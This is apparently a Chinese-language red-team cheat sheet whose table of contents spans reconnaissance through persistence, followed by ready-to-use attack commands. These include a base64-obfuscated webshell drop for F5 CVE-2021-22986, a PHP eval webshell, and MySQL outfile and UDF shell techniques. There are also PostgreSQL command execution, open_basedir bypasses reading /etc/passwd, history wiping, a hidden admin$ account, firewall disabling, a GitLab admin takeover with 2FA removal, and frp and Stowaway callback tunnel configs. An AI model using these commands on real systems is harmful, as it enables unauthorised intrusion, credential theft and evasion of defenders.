RedTeam CheetSheet

Table of Contents

- github
- whois查询/注册人反查/邮箱反查/相关资产
- google hacking

- 创建企业密码字典
  - 字典列表
  - 密码生成
  - 邮箱列表获取
  - 泄露密码查询
  - 加密密码破解
  - 对企业外部相关信息进行搜集
    - 子域名获取

外网打点

- 基于企业弱口令漏洞
  1. 可以对企业的邮件服务器进行账号密码的爆破，从而在邮件中发掘隐蔽且脆弱的资产信息
- 基于漏洞进入
  1. CVE-2021-22986 big f5 getshell
  2. Gitlab 渗透利用
  3. Confluence RCE利用
- 网站应用程序渗透
  1. 绕过open_basedir
  2. 绕过disable_function
  3. Mysql 拿shell
  4. postgresql 命令执行漏洞利用
  5. Windows 写shell
  6. sqlmap 写shell
  7. SQLWiKi
  8. webshell混淆
- 无线wi-fi接入
- 初步控守
  1. PHP Webshell
  2. JSP Webshell

外网穿透

- 域前置
- 代理搭建
- 反弹shell
- 内网文件的传输和下载
- 搭建 HTTP server

内网信息搜集

- 主机信息搜集
  1. 重点关注信息
  2. 常用信息收集命令
     - 2.1 Windows
     - 2.1 Linux
  3. 凭证信息获取
     - Windows
       - 开启内存明文存储密码

- mimikatz
- lsass进程转储
- 注册表转储
- wce
- Invoke-WCMDump
- mimiDbg
- LaZagne
- nirsoft_package
- 星号查看器
- HackBrowserData
- BrowserGhost
- SharpChromium
- chromepass
- FireFox-Thief
- Adamantium-Thief
- GetPwd
- goLazagne
- SessionGopher
- chrome 相关文件的存储位置
- firefox 相关文件的存储位置
- WIFI密码获取
- 可通过内存dump还原出putty&pageant的密钥
- 一键搜集文件中存在pass关键词的bat脚本
- 其余凭证信息Tips

Linux

- LaZagne
- mimipenguin

扩展信息收集

网段资产探测

Web资产探测

端口扫描

- 常用端口扫描工具
- 网卡信息扫描(开放135端口)

内网拓扑架构分析

第三方信息收集

权限提升

Windows

BypassUAC

- 常用方法
- 常用工具

Bypass AMSI

- 常用工具

提权

Linux

内核溢出提权

计划任务

- SUID
- 系统服务的错误权限配置漏洞
- 不安全的文件/文件夹权限配置
- 找存储的明文用户名，密码

权限维持

- Windows
  - 1. 密码记录工具
  - 2. 常用的存储Payload位置
  - 3. Run/RunOnce Keys
  - 4. BootExecute Key
  - 5. Userinit Key
  - 6. Startup Keys
  - 7. Services
  - 8. Browser Helper Objects
  - 9. AppInit_DLLs
  - 10. 文件关联
  - 11. bitsadmin
  - 12. mof
  - 13. wmi
  - 14. Userland Persistence With Scheduled Tasks
  - 15. Netsh
  - 16. Shim
  - 17. DLL劫持
  - 18. DoubleAgent
  - 19. waitfor.exe
  - 20. AppDomainManager
  - 21. Office
  - 22. CLR
  - 23. msdtc
  - 24. Hijack CAccPropServicesClass and MMDeviceEnumerato
  - 25. Hijack explorer.exe
  - 26. Windows FAX DLL Injection
  - 27. 特殊注册表键值
  - 28. 快捷方式后门
  - 29. Logon Scripts
  - 30. Password Filter DLL
  - 31. 利用BHO实现IE浏览器劫持
  - 32. SharPersist
  - 33. 计划任务
- Linux
  - crontab
  - 硬链接sshd
  - SSH Server wrapper
  - SSH keylogger
  - Cymothoa_进程注入backdoor
  - Vegile_进程注入backdoor

- SharpGPOAbuse
- New-GPOImmediateTask
- Hook PasswordChangeNotify
- Kerberoasting后门
- AdminSDHolder
- Delegation

- 邮件服务器
  - Exchange
    - 相关漏洞
    - 公网Exchange发现
    - Exchange信息收集
    - 控守方案
    - 邮箱操作
    - 得到邮箱凭证信息后批量操作
  - Zimbra
    - 1.通过xpath从网页中直接获取数据的方式来导出账号
    - 2. 获取邮件服务器管理员权限之后的相关操作
- 其他
  - 域内主机提权
    - [SharpAddDomainMachine](https://github.com/Ridter/SharpAddDomainMachine
  - 域内的匿名访问共享文件
  - 远程执行命令并将结果写入共享目录中(.bat)
  - ping 判断存活(.bat)
  - 输出b盘所有包含xxxx的文件名
  - Everything 可以对域内主机文件进行检索
- TIPS
  - 《域渗透——Dump Clear-Text Password after KB2871997 installed》
  - 《域渗透——Hook PasswordChangeNotify》
  - 《域渗透——Local Administrator Password Solution》
  - 《域渗透——利用SYSVOL还原组策略中保存的密码》

远程访问与命令执行

1. 共享文件相关
2. 远程执行命令
   - at
   - atexec
   - psexec
   - wmiexec
   - smbexec
   - wmic
   - WMIHACKER
   - Powershell remoting
   - DCOM
   - Winrm
   - SharpWmi
   - goWMIExec
   - SCShell

红队基础环境

Linux 环境

常用命令

隐藏历史操作命令

```
[space]set +o history   #禁用历史记录
[space]set -o history   #恢复
history -c      #清除当前窗口的历史命令
sudo vi .bash_history   #交互窗口下，直接删除指定命令
```

系统信息

```
cat /etc/issue          #查看系统名称
cat /etc/lsb-release    #查看系统名称,版本号
cat /etc/*release       #查看linux发行信息
uname -an               #查看内核版本
cat /proc/version       #查看内核信息
cat /proc/cpuinfo       #查看cpu信息

#查看文件系统
df -a


#查看系统日志
```

```
#查看系统日志
sudo cat /var/log/syslog

#查看命令记录
cat /root/.bash_history
cat ~/.bash_history

hostname              #查看主机名
env                   #打印系统环境信息
cat /etc/shells       #显示可用的shell
```

用户相关

```
用户相关
whoami      #查看当前shell权限
id          #查看当前用户的权限和所在的管理组

#查看登录信息
w
who
last        #登入过的用户信息
lastlog     #显示系统中所有用户最近一次登录信息

#查看账号信息
cat /etc/sudoers
cat /etc/group
cat /etc/passwd

#列出目前用户可执行与无法执行的指令
sudo -l

# 找到用户的UID或GID等信息
id
# 显示登陆到linux服务器的人员
w
# 显示当前用户名
whoami
# 显示最后一次登陆的用户
last
# 格式化打印上次登录日志/var/log/lastlog文件的内容
lastlog
# 有关用户信息的基于文本的数据库，可以登录系统或其他拥有正

在运行的进程的操作系统用户身份
cat /etc/passwd

# /etc/shadow用户通过限制除高度特权的用户对散列密码数据的访问来提高密码的安全级别。通常情况下，该数据保存
```

```
# /etc/shadow用户通过限制除高度特权的用户对散列密码数据的访问来提高密码的安全级别。通常情况下，该数据保存
在超级用户拥有的文件中，并且只能由超级用户访问。
cat /etc/shadow
# /etc/sudoers文件内容是使用sudo命令必须遵循的规则，可以用来临时的提升到root权限
cat /etc/sudoers
# 打印sudo版本字符串
sudo -V
```

网络相关

```
#查询本机IP信息
ifconfig
ip a

#查看端口信息
netstat -anpt
#查看已建立的连接
netstat -pantu|grep ESTABLISHED

#查看网卡配置
 cat /etc/network/interfaces
```

程序相关

```
程序相关

#nohup和&的区别--永久运行程序

&：指在后台运行
nohup：不挂断的运行，注意并没有后台运行的功能，用nohup命令可以将命令永久的执行下去，和用户终端没有关系，
那么我们可以巧妙的把它们结合起来使用，这样就能使命令永久的在后台运行：
nohup command &


#查看进程信息
ps -ef  #标准格式显示
ps aux  #BSD格式显示

#资源占有情况
top -c

cat /etc/inetd.conf         #由inetd管理的服务列表
cat /etc/xinetd.conf        #由xinetd管理的服务列表

#查看安装的程序

rpm -qa --last              #Redhat
```

```
rpm -qa --last              #RedHat
yum list | grep installed  #CentOS
ls -l /etc/yum.repos.d/
dpkg -l                     #Debian
cat /etc/apt/sources.list  #Debian APT
pkg_info                    #xBSD
pkginfo                     #Solaris
pacman -Q                   #Arch Linux
emerge                      #Gentoo

#查看计划任务
crontab -l
ls -al /etc/cron*
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab

#查看开机启动项
/etc/rc.d/init.d/
```

配置信息

```
配置信息
iptables -L   #查看防火墙配置（注意需要root权限）
cat /etc/resolv.conf   #查看dns配置文件
cat /etc/network/interfaces    #查看网卡配置文件
cat /etc/apache2/apache2.conf   #查看apache配置文件
cat /etc/my.conf               #mysql配置

#查看suid文件
find / -perm -u=s -type f 2>/dev/null

#最近五天的文件
find / -ctime +1 -ctime -5
```

虚拟环境检测

```
虚拟环境检测
lsmod | grep -i "vboxsf\|vboxguest"
lsmod | grep -i "vmw_baloon\|vmxnet"
lsmod | grep -i "xen-vbd\|xen-vnif"
lsmod | grep -i "virtio_pci\|virtio_net"
lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
```

生成rsa秘钥

生成rsa秘钥

```
ssh-keygen -t rsa
```

文件操作

```
#删除
sudo rm -rf *     删除当前文件夹所有
##查找文件位置
locate hibernate.cfg.xml
find / -name jre

#当前目录下查找文本里包含update
grep -r update /etc/acpi

#strings
strings -f *.html|grep 1521

#下载
scp username@servername:/path/filename /tmp/local_destination
scp root@192.168.0.1:/root/cs/.cobaltstrike.beacon_keys

##上传
scp local_file remote_username@remote_ip:remote_folder
scp /home/kali/bash.elf root@172.25.10.71:/usr/tmp

需求：将192.168.149.100上/tmp/log.csv文件拷贝到192.168.149.200上/tmp目录下
方法：使用sshpass命令
sshpass安装：

yum -y install sshpass
1
文件远程拷贝命令：
sshpass -p 200服务器密码 scp -P 22 /tmp/log.csv root@192.168.149.200:/tmp

# 分段查看文件内容
1．如果你只想看文件的前100行，可以使用head命令，如
head -100  filename
2．如果你想查看文件的后100行，可以使用tail命令，如：
tail -100  filename 或 tail -n 100  filename
3．查看文件中间一段，你可以使用sed命令，如：
sed -n '100,200' filename
这样你就可以只查看文件的第100行到第200行。

截取的文件可以用重定向输入到新的文件中：

head -100  filename >a.txt
```

```
head -100 filename > d.txt
```

会话恢复

```
## ssh连接中断时，登录后恢复之前的会话
yum install screen
screen -ls
screen -R cs  #创建cs窗口并进入
screen -r cs  #存在cs,直接进入


$> screen [-AmRvx -ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]

-A   将所有的视窗都调整为目前终端机的大小。
-d   <作业名称>   将指定的screen作业离线。
-h   <行数>   指定视窗的缓冲区行数。
-m   即使目前已在作业中的screen作业，仍强制建立新的screen作业。
-r   <作业名称>   恢复离线的screen作业。
-R   先试图恢复离线的作业。若找不到离线的作业，即建立新的screen作业。
-s   指定建立新视窗时，所要执行的shell。
-S   <作业名称>   指定screen作业的名称。
-v   显示版本信息。
-x   恢复之前离线的screen作业。
-ls或--list   显示目前所有的screen作业。
```

firewall常用命令

```
1、重启、关闭、开启、firewalld.serverice 服务
        Service firewalld restart 重启
        Service firewalld start  开启
        Service firewalld stop  关闭
        systemctl status firewalld
        systemctl stop firewalld  关闭
        systemctl start firewalld 开启
        systemctl  restart firewalld 重启
        systemctl  disable firewalld  关闭开机启动
2、查看状态
        firewall-cmd --state
3、查看防火墙规则
        firewall-cmd --list-all

## 使用firewall添加端口
    1、运行命令：
    firewall-cmd --get-active-zones
    2、执行如下命令：

    firewall-cmd --zone=public --add-port=3160/tcp --permanent
```

```
移除端口
firewall-cmd --permanent --zone=public --remove-port=22/tcp
3、重启防火墙，运行命令：
firewall-cmd --reload
4、查看端口号是否开启，运行命令：
firewall-cmd --query-port=80/tcp
查看所有端口
firewall-cmd --zone=public --list-ports
```

iptables

```
# ipv4 规则重置
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X

# ipv6 规则重置
ip6tables -P INPUT ACCEPT
ip6tables -P FORWARD ACCEPT
ip6tables -P OUTPUT ACCEPT
ip6tables -t nat -F
ip6tables -t mangle -F
ip6tables -F
ip6tables -X
```

route

```
# 使用 route 命令添加
使用route 命令添加的路由，机器重启或者网卡重启后路由就失效了，方法：
//添加到主机的路由
# route add –host 192.168.1.11 dev eth0
# route add –host 192.168.1.12 gw 192.168.1.1
//添加到网络的路由
# route add –net 192.168.1.11  netmask 255.255.255.0 eth0
# route add –net 172.30.0.0  netmask 255.255.252.0 gw 192.168.80.1
# route add –net 192.168.1.0/24 eth1
//添加默认网关
# route add default gw 192.168.2.1
//删除路由
# route del –host 192.168.1.11 dev eth0
```

fdisk

```
# 磁盘挂载  https://blog.csdn.net/zqixiao_09/article/details/51417432
# 查看硬盘信息
fdisk -l
# 进入磁盘，对磁盘进行分区(n e 1 回车 回车)
fdisk /dev/xvdb
# 格式化分区
mkfs.ext3 /dev/xvdb
# 创建/data目录
mkdir /data
# 开始挂载分区
mount /dev/xvdb /data
# 查看硬盘大小以及挂载分区
df -h
# 配置开机自动挂载
vim /etc/fstab
# 编辑文件加入
# /dev/xvdb(磁盘分区)  /data（挂载目录） ext3（文件格式）defaults  0  0
/dev/xvdb /data ext3 defaults 0 0
```

Java 环境配置

```
#set oracle jdk environment
export JAVA_HOME=/usr/lib/jvm/jdk-11
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-11/bin/java 300
```

Ubuntu 环境加固

```
# 1. 禁止被ping
vim /etc/sysctl.conf
# 新加如下一行内容
net.ipv4.icmp_echo_ignore_all=1
# 重启配置生效
sysctl -p

# 2. 修改ssh登录端口
vim /etc/ssh/sshd_config
# 编辑字段 Port 22 为自己想要的端口即可
# 随后重启ssh服务
service ssh restart
```

Windows 环境

常用快捷键

workspace

```
Win 键-Tab：打开「任务视图」，相当于点击「可视化入口」。
Win 键-Ctrl-D：创建新的虚拟桌面。
Win 键-Ctrl-F4：删除当前虚拟桌面。
Win 键-Ctrl-左键：切换到相邻左侧的虚拟桌面。
Win 键-Ctrl-右键：切换到相邻右侧的虚拟桌面。
```

常用命令

隐藏文件

```
attrib +s +a +h +r msupdate.exe
attrib -s -a -h -r desktop.ini

# 排查被隐藏的文件
dir /a
```

隐藏命令窗口

```
powershell.exe -exec bypass  -w hidden -c .\scan.exe
```

```
#运行，1后隐藏
```

```
#运行bat后隐藏
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c D:\CI_Slave\slave.bat",vbhide
```

写文件

```
type nul>a.txt
```

查找文件

```
#查找敏感文件
findstr /s /m "password" *.*
dir c:\*flag*.txt /s

敏感数据和目录
查找密码文件或其它敏感文件:
查找密码本> dir /b/s password.txt
查找配置文件> dir /b/s config.*
查找内容包含password的文件> findstr /si password *.xml *.ini *.txt
查找内容包含login的文件> findstr /si login *.xml *.ini *.txt
```

文件权限设置

```
#flag文件拒绝访问，通过属性-安全修改权限后可打开;
设置当前目录及子目录下的所有文件(* /t)的权限为对所有人都为最高权限(everyone:f)
icacls * /t /grant:r everyone:f
icacls C:\test /t /grant:r everyone:f
icacls c:/flag.txt /g everyone:f
```

查看所有磁盘

```
fsutil fsinfo drives
wmic volume list brief
```

防火墙操作

```
netsh firewall show state                    #防火墙状态
```

```
netsh firewall show state                          #防火墙状态
netsh firewall show config                         #查看防火墙配置
netsh firewall set opmode disable                  #关闭防火墙（windows server 2003及以前）
netsh advfirewall set allprofiles state off    #关闭防火墙（windows server 2003以后）

netsh firewall add allowedprogram c:\\xxx\\xx.exe "allow xx" enable    #允许指定程序的全部连接
（windows server 2003及以前）
#windows server 2003之后：
netsh advfirewall firewall add rule name="pass xx" dir=in action=allow
program="C:\xxx\xx.exe"          #允许某个程序连入
netsh advfirewall firewall add rule name="pass xx" dir=out action=allow
program="C:\xxx\xx.exe"               #允许某个程序外连
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in
localport=3389 action=allow          #开启3389端口，允许改端口放行
```

远程连接&远程copy

```
# 修改注册表，使其支持远程连接
reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
```

```
# 建立连接
net use \\192.168.1.195 123456 /u:qtest
# 删除所有ipc通道
net use * /del /y
# 删除指定ipc通道
net use \\192.168.126.212 /de /y
# 远程copy
net use \\192.168.126.212\test 123456 /user:qtest & copy
\\192.168.126.212\test\mete_213_6666.exe  c:\mete_213_6666.exe /Y
```

电脑开关锁屏

```
shutdown.exe -s -t 1   #关机
shutdown.exe -r -t 1    #立即重启
rundll32.exe user32.dll LockWorkStation #锁屏
```

Win账号操作

```
# 添加账户
net user admin$ 123456 /add
net localgroup administrators admin$ /add

#检查当前用户，权限
whoami /user && whoami /priv
whoami /all         #查看当前域并获取域SID
#查看在线用户信息
quser
query user
qwinsta  # win xp 可以用
logoff id    #注销id登陆用户

net user          #查看本机用户
net user XXX      #查看用户详细信息
net user username password /add  #增加用户，修改密码
net user username /delete # 删除用户
net localgroup    #查看管理员组成员
net localgroup administrators  #查看本机管理员
net localgroup administrators /domain  #登录本机的域管理员
net localgroup workgroup\user001 /add   #域用户添加到本机

# 激活guest用户
net user guest /active:yes
# 设定用户密码
net user guest 1234
# 加入管理员组
net localgroup administrators guest /add
```

MSBuild路径查找

```
# 主要是通过查看注册表的方式找寻对应的路径
# cmd 命令
reg.exe query "HKLM\SOFTWARE\Microsoft\MSBuild\ToolsVersions\4.0" /v MSBuildToolsPath
# powershell 命令
dir HKLM:\SOFTWARE\Microsoft\MSBuild\ToolsVersions\
```

Powershell常用命令

```
# 绕过执行策略
```

```
# 绕过执行策略
powershell.exe -ExecutionPolicy Bypass -File .\test.ps1
powershell.exe -exec bypass -Command "& {Import-Module ps脚本路径}"
powershell.exe -exec bypass "Import-Module c:\powerview.ps1;Get-NetDomain"

# 替换文件中的指定字符
powershell -Command "(gc 123.ini) -replace 'hello456', 'hello123123' | Out-File -encoding
ASCII 456.ini"
```

route

```
# 删除默认路由
route del default gw 192.168.2.1
# 添加路由
route add 10.10.2.0 mask 255.255.255.0 10.10.2.89 METRIC 55 IF 3
```

注册表操作

```
# 添加一个值(名称：Data，类型：REG_BINARY，数据：fe340ead)
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\test" /v Data /t REG_BINARY /d fe340ead
# 查询键下面的某个值
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\test" /v DATA
# 删除一个值
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\test" /v Data /f
# 采用强制覆盖的方式修改一个值，但是要注意类型要指定正确
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Schedule\TaskCache\Tree\test" /t REG_DWORD /v Index /d 0x0 /f
```

信息搜集

开源情报信息收集（OSINT）

github

- Github_Nuggests（自动爬取Github上文件敏感信息泄露）：https://github.com/az0ne/Github_Nuggests
- GSIL（能够实现近实时（15分钟内）的发现Github上泄露的信息）：https://github.com/FeeiCN/GSIL
- x-patrol(小米团队的):https://github.com/MiSecurity/x-patrol

whois查询/注册人反查/邮箱反查/相关资产

- 站长之家:http://whois.chinaz.com/?DomainName=target.com&ws=
- 爱站:https://whois.aizhan.com/target.com/
- 微步在线:https://x.threatbook.cn/
- IP反查:https://dns.aizhan.com/
- 天眼查:https://www.tianyancha.com/
- 虎妈查:http://www.whomx.com/
- 历史漏洞查询 :
  - 在线查询:http://wy.zone.ci/
  - 自搭建:https://github.com/hanc00l/wooyun_publi/
- host碰撞来发现隐藏资产（提前准备子域名+历史解析IP）

```
https://github.com/cckuailong/hostscan
https://github.com/fofapro/Hosts_scan
https://fofa.so/
https://site.ip138.com/
https://ipchaxun.com/
https://securitytrails.com/list/apex_domain/  # 子域名
```

google hacking

创建企业密码字典

字典列表

- passwordlist:https://github.com/lavalamp-/password-lists
- 猪猪侠字典:https://pan.baidu.com/s/1dFJyedz
  Blasting_dictionary（分享和收集各种字典，包括弱口令，常用密码，目录爆破。数据库爆破，编辑器爆破，后台爆破等）
- 针对特定的厂商，重点构造厂商相关域名的字典

```
['%pwd%123','%user%123','%user%521','%user%2017','%pwd%321','%pwd%521','%user%321','%pwd%123!','%pwd%123!@#','%pwd%1234','%user%2016','%user%123$%^','%user%123!@#','%pwd%2016','%pwd%2017','%pwd%1!','%pwd%2@','%pwd%3#','%pwd%123#@!','%pwd%12345','%pwd%123$%^','%pwd%!@#456','%pwd%123qwe','%pwd%qwe123','%pwd%qwe','%pwd%123456','%user%123#@!','%user%!@#456','%user%1234','%user%12345','%user%123456','%user%123!']
```

密码生成

- GenpAss（中国特色的弱口令生成器: https://github.com/RicterZ/genpAss/
- passmaker（可以自定义规则的密码字典生成器）：https://github.com/bit4woo/passmaker
- pydictor（强大的密码生成器）：https://github.com/LandGrey/pydictor
- 白鹿社工字典生成器：https://github.com/HongLuDianXue/BaiLu-SED-Tool

邮箱列表获取

- theHarvester： https://github.com/laramies/theHarvester
- 获取一个邮箱以后导出通讯录
- LinkedInt :https://github.com/mdsecactivebreach/LinkedInt
- Mailget：https://github.com/Ridter/Mailget

泄露密码查询

- ghostproject: https://ghostproject.fr/
- pwndb: https://pwndb2am4tzkvold.onion.to/

加密密码破解

- pwcrack-framework(自动猜测可能的加密方式并破解): https://github.com/L-codes/pwcrack-framework

对企业外部相关信息进行搜集

子域名获取

- Layer子域名挖掘机4.2纪念版
- subDomainsBrute： https://github.com/lijiejie/subDomainsBrute
- ksubdomain： https://github.com/knownsec/ksubdomain
- Sublist3r： https://github.com/aboul3la/Sublist3r
- site:target.com:https://www.google.com
- https://rapiddns.io/

```
# 单页信息抓取
target = $x("/html/body/section[2]/div/div/div/div[2]/table/tbody")[0].children
nums = target.length

for (var i=1;i < nums; i++)
{
  express = "/html/body/section[2]/div/div/div/div[2]/table/tbody/tr["+i+"]/td[1]";
  url = $x(express)[0].innerText;
  console.log(url);
}
```

- Github代码仓库

- 抓包分析请求返回值(跳转/文件上传/app/api接口等)
- 站长帮手links等在线查询网站
- 域传送漏洞
- OneForAll : https://github.com/shmilylty/OneForAll
- subfinder : https://github.com/projectdiscovery/subfinder

```
# 单个目标
./subfinder -d test.com -all -o test.com.txt -proxy http://127.0.0.1:7890
# 流量走本地HTTP代理完成对多目标的子域名获取
./subfinder -dL ./target.txt -all -oD ./results/ -proxy http://127.0.0.1:7890
```

Linux

```
dig @ns.example.com example=.com AXFR
```

Windows

```
nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器
nslookup #进入nslookup交互模式
server dns.domian.com #指定dns服务器
ls xxx.yyy.cn #列出域信息
```

- GetDomainsBySSL.py :https://note.youdao.com/ynoteshare1/index.html?id=247d97fc1d98b122ef9804906356d47a&type=note#/
- censys.io证书 :https://censys.io/certificates?q=target.com
- crt.sh证书查询:https://crt.sh/?q=%25.target.com
- shadon :https://www.shodan.io/
- zoomeye :https://www.zoomeye.org/
- fofa :https://fofa.so/
- censys：https://censys.io/
- dnsdb.io :https://dnsdb.io/zh-cn/search?q=target.com
- api.hackertarget.com :http://api.hackertarget.com/reversedns/?q=target.com
- community.riskiq.com :https://community.riskiq.com/Search/target.com
- subdomain3 :https://github.com/yanxiu0614/subdomain3
- FuzzDomain :https://github.com/Chora10/FuzzDomain
- dnsdumpster.com :https://dnsdumpster.com/
- phpinfo.me :https://phpinfo.me/domain/
- dns开放数据接口 :https://dns.bufferover.run/dns?q=baidu.com
- pipl.com :https://pipl.com/
- Source Code Search Engine :https://publicwww.com/
- Hunter lets you find email addresses in seconds and connect with the people that matter for your business :https://hunter.io/

- searchcode :https://searchcode.com/
- greynoise :https://greynoise.io/

外网打点

基于企业弱口令漏洞

1. 可以对企业的邮件服务器进行账号密码的爆破，从而在邮件中发掘隐蔽且脆弱的资产信息

基于漏洞进入

1. CVE-2021-22986 big f5 getshell

```
# 写shell
mount -o remount -rw /usr ;echo
"ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+L3Vzci9sb2Nhb
C93d3cveHVpL2NvbW1vbi9saWIvMS5waHA=" | base64 -d | bash;mount -o remount -r /usr

mount -o remount -rw /usr ;mv /usr/local/www/xui/common/lib/1.php
/usr/local/www/xui/common/css/.1.php;mount -o remount -r /usr
```

2. Gitlab 渗透利用

```
# 修改指定用户的密码并设置为admin权限
gitlab-rails console -e production
u = User.find(1)
u.update(admin: true)
u.password = '123456'
u.password_confirmation = '123456'
u.save
pp u.attributes

# 新加用户并跳过邮箱验证并关闭双因子认证
u = User.new(username: 'test_user', email: 'test@example.com', name: 'Test User',
password: 'password', password_confirmation: 'password')
u.skip_confirmation!
u.disable_two_factor!
u.save!

# 列出当前的所有组
ls git-data/repositories


# 参考

https://docs.gitlab.com/ee/administration/troubleshooting/gitlab_rails_cheat_sheet.html
```

3. Confluence RCE利用

1. Confluence RCE(CVE-2021-26084)，写入webshell，获取服务器权限
2. 找到数据库配置文件，获取数据库权限
3. 前期信息收集发现WIKI、Jira等站点需要AD账号登录，猜测其数据库有LDAP信息
4. 在cwd_directory_attribute表找到LDAP配置信息，拿到密码
5. 通过该密码获取源码管理平台(Gitlab)的控制权
   参考: https://github.com/pen4uin/PentestNote

网站应用程序渗透

1. 绕过open_basedir

1. ini_set绕过

```
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
```

2. 系统命令执行绕过；

   system("cd /;ls")

3. glob://伪协议绕过

```
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

<?php
$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
    echo($f->__toString().'<br>');
```

```
}
?>

<?php
var_dump(scandir('glob:///*'));
>

<?php
if ( $b = opendir('glob:///*') ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>
```

4. symlink函数绕过

   symlink()对于已有的target建立一个名为link的符号连接。

```
读取/etc/passwd
<?php
mkdir("a");
chdir("a");
mkdir("b");
chdir("b");
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("a/b/c/d","Von");
symlink("Von/../../../../etc/passwd","exp");
unlink("Von");
mkdir("Von");
system('cat exp');
```

5. 还有一些鸡肋的办法

2. 绕过disable_function

1. 蚁剑插件
2. https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485666&idx=1&sn=71a0cce05637edd488cb9cccb3967504

   直接把php脚本传上去，然后传参就可以执行命令，不过是无回显的，这样弹回的shell有时是一次性的，连上执行不了命令，解决办法是用stowaway

参考：https://blog.z3ratu1.cn/%E4%BB%8EByteCTF%E5%88%B0bypass_disable_function.html

https://www.cnblogs.com/sakura521/p/15055907.html

3. Mysql 拿shell

```
写文件
show global variables like '%secure_file_priv%';
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

日志拿shell
SHOW VARIABLES LIKE 'general%';
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
select '<?php phpinfo();?>';

知道用户名多次密码错误有几率登陆
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

UDF提权
动态库下载：https://sqlsec.lanzoux.com/i4b7jhyhwid
查看插件目录
show variables like '%plugin%';
select @@basedir;
没有的话创建：
select 233 into dumpfile
'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
写入动态链接库
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
创建函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

select * from mysql.func;
```

```
select sys_eval('whoami');
drop function sys_eval;
```

t00ls UDF.PHP 网页脚本，一键UDF

参考

4. postgresql 命令执行漏洞利用

```
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```

5. Windows 写shell

```
echo ^<?php @eval($_POST['x']);?^> >shell.php
```

6. sqlmap 写shell

```
sqlmap.py -d "mysql://root:123456@10.10.10.1:3306/testdb" —os-shell
```

7. SQLWiKi

8. webshell混淆

无线wi-fi接入

初步控守

1. PHP Webshell

2. JSP Webshell

免杀webshell生成:

- JSPHorse

外网穿透

域前置

- Domain Fronting
- Tor_Fronting.

代理搭建

- VPN
- shadowsockts :https://github.com/shadowsocks
- HTTP :http://cn-proxy.com/
- Tor
- Venom -- 但是不支持UDP流量
- Stowaway -- 支持UDP流量，稳定性好

```
admin: ./stowaway_admin -l 9999
agent: ./stowaway_agent -c 127.0.0.1:9999 --reconnect 10
```

- nps
- rathole -- 相较于frp而言，体积更小，性能更好
- frp
  代理配置方式

```
VPS配置:
[common]
bind_addr = 0.0.0.0
bind_port = 7000
#token = test
#tls_enable = true
#port，token自定义 保持客户端与服务端一致即可

web界面
# dashboard_addr = 0.0.0.0
# 端口必须设置，只有设置web页面才生效
dashboard_port = 7500
# 用户密码
dashboard_user = admin1
dashboard_pwd = hadaessd@@@!!@@#
# 允许客户端绑定的端口
allow_ports = 40000-50000

启动服务端:
nohup ./frps -c frps.ini &
```

```
    目标机上配置:
    #编辑frpc.ini内容如下，与frpc一并上传到服务器
    # chmod +x frpc(最好将其改个名，比如deamon)
    [common]
    server_addr = 0.0.0.0
    # port，token保持一致
    server_port = 7000
    token = test
    tls_enable = true
    pool_count = 5
    # 需要添加前置代理的时候加上下面这行
    # http_proxy = http://127.0.0.1:8080

    #http协议代理
    [plugin_http_proxy]
    type = tcp
    remote_port = 7890
    plugin = http_proxy
    # 可以添加认证
    # plugin_http_user = abc
    # plugin_http_passwd = abc

    #socks5协议代理
    [plugin_socks5]
    type = tcp
    remote_port = 7891
    plugin = socks5
    # plugin_user = abc
